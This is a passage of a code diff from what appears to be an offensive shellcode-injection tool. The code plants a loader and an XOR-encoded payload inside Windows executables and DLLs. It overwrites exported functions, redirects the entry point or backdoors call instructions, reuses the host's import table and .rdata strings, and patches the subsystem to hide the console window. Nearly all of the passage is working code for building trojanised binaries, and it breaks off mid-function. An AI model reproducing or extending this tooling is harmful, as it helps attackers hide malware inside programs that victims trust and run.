||||
if section.SizeOfRawData == 0:
|
||||
continue
|
||||
payload[section.VirtualAddress:section.VirtualAddress + section.SizeOfRawData] = section.get_data()
|
||||
|
||||
return bytes(payload)
|
||||
|
||||
|
||||
def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
|
||||
pe = pefile.PE(exe_file)
|
||||
section = get_code_section(pe)
|
||||
@@ -69,3 +89,11 @@ def remove_trailing_null_bytes(data: bytes) -> bytes:
|
||||
if data[i] != b'\x00'[0]: # Check for a non-null byte
|
||||
return data[:i + 1]
|
||||
return b'' # If the entire sequence is null bytes
|
||||
|
||||
|
||||
def align_to_page_size(rva, offset, page_size=4096):
|
||||
# Align to the nearest lower page boundary
|
||||
aligned_address = rva & ~(page_size - 1)
|
||||
real_address = aligned_address - offset
|
||||
logger.debug(" Aligning: 0x{:X} to 0x{:X}".format(aligned_address, real_address))
|
||||
return real_address
|
||||
+81
-94
@@ -43,6 +43,7 @@ class SuperPe():
|
||||
self.iat_entries: Dict[str, IatEntry] = {}
|
||||
self.init_iat_entries()
|
||||
|
||||
|
||||
def init_iat_entries(self):
|
||||
self.pe.parse_data_directories()
|
||||
self.make_iat_entries()
|
||||
@@ -164,72 +165,6 @@ class SuperPe():
|
||||
return base_relocs
|
||||
|
||||
|
||||
def getSectionIndexByDataDir(self, dirIndex):
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
|
||||
|
||||
i = 0
|
||||
for sect in self.pe.sections:
|
||||
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
|
||||
return i
|
||||
i += 1
|
||||
|
||||
logger.error(f'Could not find section with directory index {dirIndex}!')
|
||||
return -1
|
||||
|
||||
|
||||
def getRemainingRelocsDirectorySize(self):
|
||||
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
|
||||
return out
|
||||
|
||||
|
||||
def addImageBaseRelocations(self, pageRva, relocs):
|
||||
assert pageRva > 0
|
||||
|
||||
if not self.pe.has_relocs():
|
||||
logger.error("No .reloc section")
|
||||
raise(Exception("No .reloc section"))
|
||||
|
||||
if self.is_64():
|
||||
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64
|
||||
else:
|
||||
# Not really used
|
||||
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW
|
||||
|
||||
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
|
||||
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
|
||||
sizeOfReloc = 2 * len(relocs) + 2 * 4
|
||||
|
||||
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
|
||||
self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
|
||||
self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!')
|
||||
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
|
||||
return
|
||||
|
||||
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
|
||||
|
||||
# VirtualAddress
|
||||
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
|
||||
|
||||
# SizeOfBlock
|
||||
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
|
||||
|
||||
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}')
|
||||
i = 0
|
||||
for reloc in relocs:
|
||||
reloc_offset = (reloc - pageRva)
|
||||
reloc_type = imageBaseRelocType << 12
|
||||
|
||||
relocWord = (reloc_type | reloc_offset)
|
||||
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
|
||||
logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}')
|
||||
i += 1
|
||||
|
||||
|
||||
def getExportEntryPoint(self, exportName: str):
|
||||
dec = lambda x: '???' if x is None else x.decode()
|
||||
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||
@@ -300,34 +235,7 @@ class SuperPe():
|
||||
if exp["name"] == dllfunc:
|
||||
return exp["size"]
|
||||
return None
|
||||
|
||||
|
||||
## Relocations
|
||||
|
||||
def get_rdata_relocmanager(self) -> RangeManager:
|
||||
section = self.get_section_by_name(".rdata")
|
||||
relocs = self.get_relocations_for_section(".rdata")
|
||||
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
|
||||
for reloc in relocs:
|
||||
# Reloc destination is probably 8 bytes
|
||||
# But i add another 8 to skip over small holes (common in .rdata)
|
||||
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
|
||||
rm.merge_overlaps()
|
||||
return rm
|
||||
|
||||
|
||||
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
|
||||
section: PeSection = self.get_section_by_name(section_name)
|
||||
ret = []
|
||||
if section is None:
|
||||
return ret
|
||||
for reloc in self.get_base_relocs():
|
||||
reloc_addr = reloc.rva
|
||||
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
|
||||
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
|
||||
ret.append(reloc)
|
||||
return ret
|
||||
|
||||
|
||||
|
||||
## IAT
|
||||
|
||||
@@ -414,6 +322,66 @@ class SuperPe():
|
||||
offset, func_name, new_name_bytes.decode()))
|
||||
self.pe.set_bytes_at_offset(offset, new_name_bytes)
|
||||
|
||||
## .rdata manager
|
||||
def get_rdata_rangemanager(self) -> RangeManager:
|
||||
section = self.get_section_by_name(".rdata")
|
||||
relocs = self.get_relocations_for_section(".rdata")
|
||||
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
|
||||
for reloc in relocs:
|
||||
# Reloc destination is probably 8 bytes
|
||||
# But i add another 8 to skip over small holes (common in .rdata)
|
||||
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
|
||||
|
||||
if True: # FIXME this is a hack which is sometimes necessary?
|
||||
sect_data_copy = section.pefile_section.get_data()
|
||||
string_off = find_first_utf16_string_offset(sect_data_copy)
|
||||
if string_off == None:
|
||||
raise Exception("Strings not found in .rdata section, abort")
|
||||
if string_off < 128:
|
||||
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
|
||||
string_off = 128
|
||||
rm.add_range(section.virt_addr, section.virt_addr + string_off)
|
||||
|
||||
rm.merge_overlaps()
|
||||
return rm
|
||||
|
||||
|
||||
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
|
||||
section: PeSection = self.get_section_by_name(section_name)
|
||||
ret = []
|
||||
if section is None:
|
||||
return ret
|
||||
for reloc in self.get_base_relocs():
|
||||
reloc_addr = reloc.rva
|
||||
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
|
||||
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
|
||||
ret.append(reloc)
|
||||
return ret
|
||||
|
||||
|
||||
def get_code_rangemanager(self) -> RangeManager:
|
||||
code_section = self.get_code_section()
|
||||
if code_section == None:
|
||||
raise Exception('Could not find code section in input PE file!')
|
||||
code_section_size = code_section.Misc_VirtualSize
|
||||
|
||||
# Restrictions for putting data into .text:
|
||||
# - enough space for carrier + payload
|
||||
# - avoid overwriting entry point function
|
||||
# - carrier should not generate much smaller holes in .text
|
||||
|
||||
rm = RangeManager(
|
||||
code_section.VirtualAddress,
|
||||
code_section.VirtualAddress + code_section_size)
|
||||
|
||||
# protect entrypoint a bit
|
||||
entrypoint_rva = self.get_entrypoint()
|
||||
rm.add_range(
|
||||
entrypoint_rva - 0x100,
|
||||
entrypoint_rva + 0x100)
|
||||
|
||||
return rm
|
||||
|
||||
|
||||
## Helpers
|
||||
|
||||
@@ -444,3 +412,22 @@ class SuperPe():
|
||||
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
||||
|
||||
|
||||
|
||||
def find_first_utf16_string_offset(data, min_len=8):
|
||||
current_string = bytearray()
|
||||
start_offset = None # To keep track of the start of the current string
|
||||
for i in range(0, len(data) - 1, 2):
|
||||
# Check if we have a valid character
|
||||
if data[i] != 0 or data[i+1] != 0:
|
||||
if start_offset is None: # Mark the start of a new string
|
||||
start_offset = i
|
||||
current_string += bytes([data[i], data[i+1]])
|
||||
else:
|
||||
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
|
||||
return start_offset # Return the offset where the string starts
|
||||
current_string = bytearray()
|
||||
start_offset = None # Reset start offset for the next string
|
||||
|
||||
return None # No string found that meets the criteria
|
||||
+28
-57
@@ -2,13 +2,13 @@ import os
|
||||
from typing import List, Dict
|
||||
|
||||
from helper import *
|
||||
from model.carrier import Carrier, DataReuseEntry, IatRequest
|
||||
from model.injectable import Injectable, DataReuseEntry, IatRequest
|
||||
from model.settings import Settings
|
||||
|
||||
logger = logging.getLogger("AsmTextParser")
|
||||
|
||||
|
||||
def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> List[str]:
|
||||
def parse_asm_text_file(injectable: Injectable, asm_text: str, settings: Settings) -> List[str]:
|
||||
lines_out = []
|
||||
lines = asm_text.split("\n")
|
||||
|
||||
@@ -55,53 +55,25 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
continue
|
||||
|
||||
# PATCH external shellcode reference
|
||||
if settings.payload_location == PayloadLocation.CODE:
|
||||
## mov rdi, QWORD PTR supermega_payload
|
||||
## to
|
||||
## lea rdi, [shcstart] ; get payload shellcode address
|
||||
if "supermega_payload" in line:
|
||||
updated_line = line
|
||||
updated_line = updated_line.replace(
|
||||
"mov ",
|
||||
"lea "
|
||||
)
|
||||
updated_line = updated_line.replace(
|
||||
"QWORD PTR supermega_payload",
|
||||
"[shcstart] ; get payload shellcode address"
|
||||
)
|
||||
lines_out.append(updated_line)
|
||||
continue
|
||||
elif settings.payload_location == PayloadLocation.DATA:
|
||||
## mov rdi, QWORD PTR supermega_payload
|
||||
## to
|
||||
## lea rdi, XXX
|
||||
if "supermega_payload" in line:
|
||||
randbytes: bytes = os.urandom(7) # LEA is 7 bytes
|
||||
string_ref = "supermega_payload"
|
||||
## mov rdi, QWORD PTR supermega_payload
|
||||
## to
|
||||
## lea rdi, XXX
|
||||
if "supermega_payload" in line:
|
||||
string_ref = "supermega_payload"
|
||||
|
||||
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
|
||||
if datareuse_fixup == None:
|
||||
raise Exception("Data reuse entry not found: {}".format(string_ref))
|
||||
register = line.split("mov\t")[1].split(",")[0]
|
||||
# should already exist (added before)
|
||||
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
|
||||
if datareuse_fixup == None:
|
||||
raise Exception("Data reuse entry not found: {}".format(string_ref))
|
||||
|
||||
datareuse_fixup.register = register
|
||||
datareuse_fixup.randbytes = randbytes
|
||||
# add a reference
|
||||
placeholder: bytes = os.urandom(7) # LEA is 7 bytes
|
||||
register = line.split("mov\t")[1].split(",")[0]
|
||||
datareuse_fixup.add_reference(placeholder, register)
|
||||
|
||||
line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format()
|
||||
lines_out.append(line)
|
||||
continue
|
||||
else:
|
||||
raise Exception("Unknown payload location: {}".format(settings.payload_location))
|
||||
|
||||
# ADD label at end of code
|
||||
# we cant reliably identify in which function, so we just add it at the end
|
||||
## get_time_raw ENDP
|
||||
## -> add here
|
||||
## _TEXT ENDS
|
||||
## END
|
||||
if line_idx > len(lines) - 5 and tokens[1] == "ENDP":
|
||||
# add lines
|
||||
line = bytes_to_asm_db(placeholder) + " ; supermega_payload Payload".format()
|
||||
lines_out.append(line)
|
||||
lines_out.append("shcstart: ; start of payload shellcode")
|
||||
continue
|
||||
|
||||
# COLLECT AND PATCH all functions that need to be resolved in loader shellcode
|
||||
@@ -112,9 +84,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
if "QWORD PTR __imp_" in line:
|
||||
# just the function name, without __imp_
|
||||
func_name = line[line.find("__imp_")+6:].rstrip()
|
||||
randbytes: bytes = os.urandom(6) # exact size or the result
|
||||
carrier.add_iat_request(func_name, randbytes)
|
||||
new_line = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name)
|
||||
placeholder: bytes = os.urandom(6) # exact size or the result
|
||||
injectable.add_iat_request(func_name, placeholder)
|
||||
|
||||
new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name)
|
||||
lines_out.append(new_line)
|
||||
continue
|
||||
|
||||
@@ -125,7 +98,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
if line.startswith("$SG"):
|
||||
# fuck me. if we start a new definition, and have an old one, add the old one...
|
||||
if current_datareuse_entry != None:
|
||||
carrier.add_datareuse_fixup(current_datareuse_entry)
|
||||
injectable.add_datareuse_fixup(current_datareuse_entry)
|
||||
current_datareuse_entry = None # reset it here
|
||||
|
||||
var_name = tokens[0]
|
||||
@@ -142,7 +115,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
continue
|
||||
if current_datareuse_entry != None:
|
||||
# when we reach here, $SG with its DB should be done.
|
||||
carrier.add_datareuse_fixup(current_datareuse_entry)
|
||||
injectable.add_datareuse_fixup(current_datareuse_entry)
|
||||
current_datareuse_entry = None # reset it here
|
||||
|
||||
# PATCH data reuse code (data from C)
|
||||
@@ -152,17 +125,15 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW
|
||||
if "OFFSET FLAT:$SG" in line:
|
||||
string_ref = line.split("OFFSET FLAT:")[1]
|
||||
register = line.split("lea\t")[1].split(",")[0]
|
||||
randbytes: bytes = os.urandom(7)
|
||||
|
||||
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
|
||||
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
|
||||
if datareuse_fixup == None:
|
||||
raise("Data reuse entry not found: {}".format(string_ref))
|
||||
|
||||
datareuse_fixup.register = register
|
||||
datareuse_fixup.randbytes = randbytes
|
||||
register = line.split("lea\t")[1].split(",")[0]
|
||||
placeholder: bytes = os.urandom(7)
|
||||
datareuse_fixup.add_reference(placeholder, register)
|
||||
|
||||
line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format(
|
||||
line = bytes_to_asm_db(placeholder) + " ; .rdata Reuse for {} ({})".format(
|
||||
string_ref, register)
|
||||
lines_out.append(line)
|
||||
continue
|
||||
|
||||
+8
-21
@@ -11,7 +11,7 @@ logger = logging.getLogger("Assembler")
|
||||
|
||||
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
|
||||
"""Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out"""
|
||||
logger.info("--[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
|
||||
logger.info("-[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
|
||||
run_process_checkret([
|
||||
config.get("path_ml64"),
|
||||
asm_in,
|
||||
@@ -25,33 +25,20 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
|
||||
return code
|
||||
|
||||
|
||||
def merge_loader_payload(
|
||||
shellcode_in: bytes,
|
||||
payload_data: bytes,
|
||||
decoder_style: DecoderStyle
|
||||
) -> bytes:
|
||||
payload_data = encode_payload(payload_data, decoder_style)
|
||||
|
||||
logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format(
|
||||
len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data)))
|
||||
|
||||
return shellcode_in + payload_data
|
||||
|
||||
|
||||
def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes:
|
||||
if decoder_style == DecoderStyle.PLAIN_1:
|
||||
return payload
|
||||
elif decoder_style == DecoderStyle.XOR_1:
|
||||
def encode_payload(payload: bytes, decoder_style: str) -> bytes:
|
||||
if decoder_style == "plain":
|
||||
return bytes(payload)
|
||||
elif decoder_style == "xor_1":
|
||||
xor_key = config.xor_key
|
||||
logger.info("---[ XOR payload with key 0x{:X}".format(xor_key))
|
||||
xored = bytes([byte ^ xor_key for byte in payload])
|
||||
return xored
|
||||
elif decoder_style == DecoderStyle.XOR_2:
|
||||
return bytes(xored)
|
||||
elif decoder_style == "xor_2":
|
||||
xor_key = config.xor_key2
|
||||
logger.info("---[ XOR2 payload with key {}".format(xor_key))
|
||||
xored = bytearray(payload)
|
||||
for i in range(len(xored)):
|
||||
xored[i] ^= xor_key[i % 2]
|
||||
return xored
|
||||
return bytes(xored)
|
||||
else:
|
||||
raise Exception("Unknown decoder style")
|
||||
|
||||
+5
-5
@@ -9,7 +9,7 @@ from config import config
|
||||
from observer import observer
|
||||
from model import *
|
||||
from phases.masmshc import masm_shc, Params
|
||||
from model.carrier import Carrier
|
||||
from model.injectable import Injectable
|
||||
from phases.asmtextparser import parse_asm_text_file
|
||||
from model.settings import Settings
|
||||
|
||||
@@ -22,7 +22,7 @@ def compile_dev(
|
||||
asm_out: FilePath,
|
||||
short_call_patching: bool = False,
|
||||
):
|
||||
logger.info("--( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
||||
logger.info("-( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
||||
|
||||
# Compile C To Assembly (text)
|
||||
run_process_checkret([
|
||||
@@ -51,10 +51,10 @@ def compile_dev(
|
||||
def compile(
|
||||
c_in: FilePath,
|
||||
asm_out: FilePath,
|
||||
carrier: Carrier,
|
||||
injectable: Injectable,
|
||||
settings: Settings,
|
||||
):
|
||||
logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
||||
logger.info("-[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
||||
|
||||
# Compile C To Assembly (text)
|
||||
run_process_checkret([
|
||||
@@ -70,7 +70,7 @@ def compile(
|
||||
asm_text = file_readall_text(asm_out)
|
||||
observer.add_text_file("carrier_asm_orig", asm_text)
|
||||
|
||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) # Fixup assembly file
|
||||
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # Fixup assembly file
|
||||
asm_text = masm_shc(asm_text_lines) # Cleanup assembly file
|
||||
observer.add_text_file("carrier_asm_final", asm_text)
|
||||
|
||||
|
||||
+249
-210
@@ -4,236 +4,277 @@ import time
|
||||
import logging
|
||||
from typing import Dict, List
|
||||
|
||||
from model.carrier import Carrier, DataReuseEntry
|
||||
from model.injectable import Injectable, DataReuseEntry, DataReuseReference
|
||||
from pe.pehelper import *
|
||||
from observer import observer
|
||||
from pe.derbackdoorer import FunctionBackdoorer
|
||||
from pe.superpe import SuperPe
|
||||
from pe.superpe import SuperPe, PeSection
|
||||
from model.project import Project
|
||||
from model.settings import Settings
|
||||
from pe.asmdisasm import *
|
||||
from model.defs import *
|
||||
from model.payload import Payload
|
||||
from model.rangemanager import RangeManager
|
||||
|
||||
logger = logging.getLogger("Injector")
|
||||
|
||||
|
||||
def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
|
||||
exe_in = settings.inject_exe_in
|
||||
exe_out = settings.inject_exe_out
|
||||
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
|
||||
class Injector():
|
||||
def __init__(
|
||||
self,
|
||||
carrier_shc: bytes,
|
||||
payload: Payload,
|
||||
injectable: Injectable,
|
||||
settings: Settings):
|
||||
self.carrier_shc = carrier_shc
|
||||
self.settings = settings
|
||||
self.injectable = injectable
|
||||
self.payload = payload
|
||||
|
||||
logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out))
|
||||
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
||||
# reuse from injectable
|
||||
#self.superpe = SuperPe(settings.inject_exe_in)
|
||||
self.superpe = injectable.superpe
|
||||
self.function_backdoorer = FunctionBackdoorer(self.superpe)
|
||||
|
||||
# CHECK if shellcode fits into the target code section
|
||||
shellcode_len = len(main_shc)
|
||||
code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize
|
||||
if shellcode_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size:
|
||||
raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format(
|
||||
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size
|
||||
))
|
||||
|
||||
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
||||
superpe = SuperPe(exe_in)
|
||||
function_backdoorer = FunctionBackdoorer(superpe)
|
||||
|
||||
# Patch IAT (if necessary and wanted)
|
||||
for iatRequest in carrier.get_all_iat_requests():
|
||||
# skip available
|
||||
addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if addr != None:
|
||||
logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
|
||||
continue
|
||||
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
|
||||
|
||||
if not settings.fix_missing_iat:
|
||||
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
|
||||
iatRequest.name
|
||||
))
|
||||
# do the patch
|
||||
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
|
||||
|
||||
# we modify the IAT raw, so reparsing is required
|
||||
superpe.pe.parse_data_directories()
|
||||
superpe.init_iat_entries()
|
||||
|
||||
shellcode_offset: int = 0 # file offset
|
||||
|
||||
# Special case: DLL exported function direct overwrite
|
||||
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
|
||||
rva = superpe.getExportEntryPoint(settings.dllfunc)
|
||||
|
||||
# Size and sanity checks
|
||||
function_size = superpe.get_size_of_exported_function(settings.dllfunc)
|
||||
if shellcode_len >= function_size:
|
||||
logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
|
||||
shellcode_len, function_size, settings.dllfunc
|
||||
))
|
||||
|
||||
# Inject
|
||||
shellcode_offset = superpe.get_offset_from_rva(rva)
|
||||
logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
|
||||
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
|
||||
|
||||
else: # EXE/DLL
|
||||
# Put it somewhere in the code section, and rewire the flow
|
||||
sect = superpe.get_code_section()
|
||||
if sect == None:
|
||||
raise Exception('Could not find code section in input PE file!')
|
||||
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
|
||||
if sect_size < shellcode_len + CODE_INJECT_SIZE_CHECK_ADD:
|
||||
raise Exception("Shellcode too large: {}+{} > {}".format(
|
||||
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
|
||||
))
|
||||
shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section
|
||||
#shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
|
||||
shellcode_offset += sect.PointerToRawData
|
||||
shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
|
||||
|
||||
logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format(
|
||||
shellcode_offset, shellcode_rva))
|
||||
|
||||
# Copy the shellcode
|
||||
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
|
||||
|
||||
# rewire flow
|
||||
if superpe.is_dll() and settings.dllfunc != "": # DLL
|
||||
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
# Handled above
|
||||
raise Exception("We should not land here")
|
||||
|
||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||
addr = superpe.getExportEntryPoint(settings.dllfunc)
|
||||
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
|
||||
settings.dllfunc, addr))
|
||||
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
|
||||
|
||||
else: # EXE
|
||||
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
|
||||
shellcode_rva))
|
||||
superpe.set_entrypoint(shellcode_rva)
|
||||
|
||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||
addr = superpe.get_entrypoint()
|
||||
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
|
||||
addr))
|
||||
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
|
||||
|
||||
logger.info("--( Fix shellcode to re-use IAT entries")
|
||||
injected_fix_iat(superpe, carrier)
|
||||
logger.info("--( Fix shellcode to reference data stored in .rdata")
|
||||
injected_fix_data(superpe, carrier)
|
||||
|
||||
# changes from console to UI (no console window) if necessary
|
||||
superpe.patch_subsystem()
|
||||
|
||||
# We done
|
||||
logger.info("--( Write to file: {}".format(exe_out))
|
||||
superpe.write_pe_to_file(exe_out)
|
||||
|
||||
# Log
|
||||
code = file_readall_binary(exe_out)
|
||||
in_code = code[shellcode_offset:shellcode_offset+shellcode_len]
|
||||
observer.add_code_file("carrier_exe", in_code)
|
||||
# to find space for carrier and payload
|
||||
# for some combination of settings HACK
|
||||
self.payload_rva = None
|
||||
self.carrier_rva = None
|
||||
self.init_addresses()
|
||||
|
||||
|
||||
def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
|
||||
"""replace IAT-placeholders in shellcode with call's to the IAT"""
|
||||
code = superpe.get_code_section_data()
|
||||
for iatRequest in carrier.get_all_iat_requests():
|
||||
if not iatRequest.placeholder in code:
|
||||
raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder))
|
||||
offset_from_code = code.index(iatRequest.placeholder)
|
||||
def init_addresses(self):
|
||||
rm = self.superpe.get_code_rangemanager()
|
||||
|
||||
# TECHNIQUE0:
|
||||
# assume payload is big, find a place for it, then prepend carrier (small)
|
||||
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
|
||||
|
||||
largest_gap = rm.find_holes(complete_size)
|
||||
if len(largest_gap) == 0:
|
||||
raise Exception('No hole found in code section to fit payload!')
|
||||
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
|
||||
|
||||
# align to center
|
||||
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
|
||||
offset += largest_gap[0][0]
|
||||
|
||||
if self.settings.carrier_name == "dll_loader_change":
|
||||
# Align to page size
|
||||
offset = offset & 0xFFFFF000
|
||||
|
||||
# page aligned possibly
|
||||
self.payload_rva = offset
|
||||
|
||||
# prepend it a bit
|
||||
self.carrier_rva = offset - len(self.payload.payload_data) - 4096
|
||||
|
||||
|
||||
## Inject
|
||||
|
||||
def inject_exe(self):
|
||||
exe_in = self.settings.inject_exe_in
|
||||
exe_out = self.settings.inject_exe_out
|
||||
carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
|
||||
|
||||
logger.info("-[ Injecting: into {} -> {}".format(exe_in, exe_out))
|
||||
|
||||
# Patch IAT (if necessary and wanted)
|
||||
self.injectable_patch_iat()
|
||||
|
||||
carrier_shc_len = len(self.carrier_shc)
|
||||
carrier_offset: int = 0 # file offset
|
||||
|
||||
# Special case: DLL exported function direct overwrite
|
||||
if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
|
||||
rva = self.superpe.getExportEntryPoint(self.settings.dllfunc)
|
||||
|
||||
# Size and sanity checks
|
||||
function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc)
|
||||
if carrier_shc_len >= function_size:
|
||||
logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
|
||||
carrier_shc_len, function_size, self.settings.dllfunc
|
||||
))
|
||||
|
||||
# Inject
|
||||
carrier_offset = self.superpe.get_offset_from_rva(rva)
|
||||
logger.info(f'----[ Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
|
||||
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
|
||||
|
||||
else: # EXE/DLL
|
||||
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
|
||||
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
|
||||
self.carrier_rva, carrier_offset))
|
||||
|
||||
# Copy the carrier
|
||||
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
|
||||
|
||||
# rewire flow to the carrier
|
||||
